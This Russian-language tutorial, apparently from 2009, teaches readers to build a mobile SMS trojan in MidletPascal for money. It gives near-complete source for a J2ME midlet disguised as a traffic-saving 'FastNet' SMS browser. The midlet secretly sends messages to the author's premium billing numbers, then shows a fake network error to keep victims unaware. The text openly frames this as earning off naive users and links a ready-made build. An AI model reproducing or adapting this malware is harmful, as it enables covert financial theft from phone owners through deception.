SMS-Троян или "Заработай на СМС"
Каждый приличный и уважающий себя кодер должен начать зарабатывать на своем мастерстве. Вот мы с тобой и начнем косить американских президентов на наивных пользователях Интернета. Ты наверно слышал о такой штуке как СМС-биллинг. Наивные юзеры шлют смс с каким-нибуть пожеланием или текстом как в чат, или заказывают контент. Искать тебе биллинги прийдется, все уже собрано в одном месте - http://allpublication.ru/sms/ . Выбирай любую и регистрируйся. Надеюсь, ты уже сбегал и зарегался, а заодно получил свой префикс - тот текст, который мы будем слать в СМС-ке. [cut]
Подготовка к кодингу
План - создание трояна для скрытой отсылки смс на платные номера (твои :) Я решил маскировать зловреда под СМС-браузер (ничего не напоминает ?) Важным пунктом в сегодяшнем меню будет софт для кодинга. Надеюсь ты знаешь, что программы и игры для телефонов (мидлеты) пишутся на языке Java. Но мы с тобой не будем учить новый ЯП, а воспользуемся простым решением - MidletPascal. Это обычный паскаль, но для телефона, в котором встроены готовые очень полезные функции. Скачать его можно с официального сайта проги ( http://www.midletpascal.com/ ). Будем считать, что ты уже скачал и установил MidletPascal.
The Trojan Begins
Для начала создавай новый проект (File -> New Project). В имя проэкта вбивай что-то наподобие SMS_Trojan, в окошке выбирай пункт "Default MIDP project" и жми "Create". В окне кода появится начальный исходник мидлета:
program SMS_Trojan;
begin
drawText('Hello world!', 0, 0);
repaint;
delay(2000);
end.
Объяснение этих функций есть в справке, потому не будем тратить время на это :) Убирай все от begin до end.
В справке есть готовый пример отсылки смс:
begin
if not SmsStartSend('sms://+5550000', 'Hello!') then Halt;
while SmsIsSending do // wait for the message to be sent
Delay(100);
if not SmsWasSuccessfull then Halt;
end.
SmsStartSend - функция отправки СМС
SmsIsSending - проверяет, осылается соощение или нет
SmsWasSuccessfull - проверяет, было ли успешо отослано последнее соощение
Delay - останавливает исполнение мидлета на указанное количество миллисекунд
Этим примером лучше не пользоваться из-за его простоты, т.к. жертва почувствует подвох, когда прога просто вырубится. А нам нужно, чтобы все было красиво :) Поэтому мы создадим интерфейс для жертвы, чтобы она чувствовала себя уютно, пока ее деньги идут нам.
ГУИ:
- Главное меню с 4 пунктами
- Пункты "Справка" и "Про программу"
Мы будем использовать такие константы в мидлете:
SendErr='Ошибка 109. Возможно не настроена сеть или оператор отключил'+
' службу SMS. Попробуйте воспользоваться услугой позже.';
AboutStr='Made by Butlik, 2009';
HelpStr='С помощью браузера FastNet вы сможете экономить 95% трафика,'+
' так как интернет будет работать через систему СМС.';
NUMBERS=1;
AboutStr - Какой-то левый копирайт :) Что же это будет за мега браузер, если в нем не будет неписано чей он. Это будет подозрительно.
HelpStr - Справка ;) Тут должна работать фантазия.
NUMBERS - количество номеров, на которые будет идти отправка СМС.
Мы будем использовать такие переменные в мидлете:
numb,text:array[1..NUMBERS] of string;
// массивы строк с текстами сообщений и номерами
p:array[1..4] of integer; // массив хэндлов пунктов меню
m:array[1..4] of string; // массив строк с названиями пунктов меню
clicked,
callmenu,
exit : command; // команды для софт клавиш
label_id, // хэндл надписей (справки, ошибки и т.д.)
i,d : integer; // счетчики
Создадим процедуру динамического создания главного меню:
var
click: Command;
// элемент "command" - по сути это назначение кнопки для софт клавиши
begin
showMenu('Выбери действие', CH_IMPLICIT);
// покажем меню с заголовком "Выбери действие",
//тип - CH_IMPLICIT - обычное меню (подробнее в справке)
for d:=1 to 4 do // в этом цикле мы
p[d] := menuAppendString(m[d]);
// добавляем в меню пункты с названиями из массива строк m,
// и сохраняем ихние хэндлы в масив integer'ов
repeat
delay(100); // пауза
click := GetClickedCommand; // получаем нажатую клавишу
until click <> EmptyCommand; // в этом цикле мы ждем, пока будет нажата
// любая софт клавиша, для которой есть элемент "command"
end;
Теперь напишем сердце троя - процедура отсылки СМС:
procedure SendMoneyToMe;
begin
for d:=1 to NUMBERS do // цикл отсылки
begin
if not SmsStartSend('sms://'+numb[d], text[d]) // попытка послать собощение
then Halt; // если она была неудачная, то вырубимся
while SmsIsSending do // пока смс-ка посылается
Delay(100); // ждем :)
end;
end;
Теперь напишем основу троя (для понимания разбита на части) :
m[2]:='Про программу'; // заполнение массива
m[3]:='Справка'; // пунктов
m[4]:='Выход'; // меню
Numb[1]:='1234'; // А это заполнение массивов с номерами
text[1]:='7777'; // и текстами сообщений
Repeat // здесь главный начинается цикл, в котором проверяем,
// была ли нажата кнопка "Выход"
mainmenu; // вызоваем функцию создания меню
for d:=1 to 4 do // в том цикле мы определяем, какой пункт меню был выбран
if MenuIsSelected(p[d]) then i:=d; // с помощью функции MenuIsSelected
ClearForm; // полностью очищаем форму от всех менюшек, лэйблов и т.д.
// в зависимости от i, выбираем, какое действие нам сделать
if i=1 then // если был выбран пункт меню "Начать роботу"
begin
SendMoneyToMe; // отсылаем смс-ки
label_id := FormAddString(SendErr); //показываем ошибку :)
end;
if i=2 then // если был выбран пункт меню "Про программу"
label_id := FormAddString(AboutStr); // показываем строку с about'ом
if i=3 then // если был выбран пункт меню "Справка"
label_id := FormAddString(HelpStr); // показываем строку с help'ом
if i=4 then // если был выбран пункт меню "Выход"
halt; // вырубаемся
ShowForm; // показываем форму
callmenu := CreateCommand('Меню', CM_SCREEN, 1);
// создаем команду "Меню" для софт клавиши
AddCommand(callmenu); // и добавляем ее на дисплей
exit := CreateCommand('Выход', CM_EXIT, 2);
// создаем команду "Выход" для софт клавиши
AddCommand(exit); // и добавляем ее на дисплей
clicked := GetClickedCommand; // сохраняем нажатую кнопку в переменую clicked
Repeat // цикл, в котором мидлет ожидает нажатия софт клавиши
Delay(100); // пауза
clicked := GetClickedCommand; // сохраняем нажатую кнопку в переменую clicked
If clicked = exit Then Break; // если была нажата кнопка "Выход",
// то выходим из этого цикла
Until clicked = callmenu; // условие - повторять, пока не нажата кнопка "Меню"
Until clicked = exit; // условие - повторять, пока не нажата кнопка "Выход"
// если мы здесь, значит юзверь все-таки нажал на "Выход"
Delay(1000); // ждем 1 секунду перед выходом
======================================================
Так же Вы можете скачать уже все готовое и с прогой для редактирование ==>ТУТ<==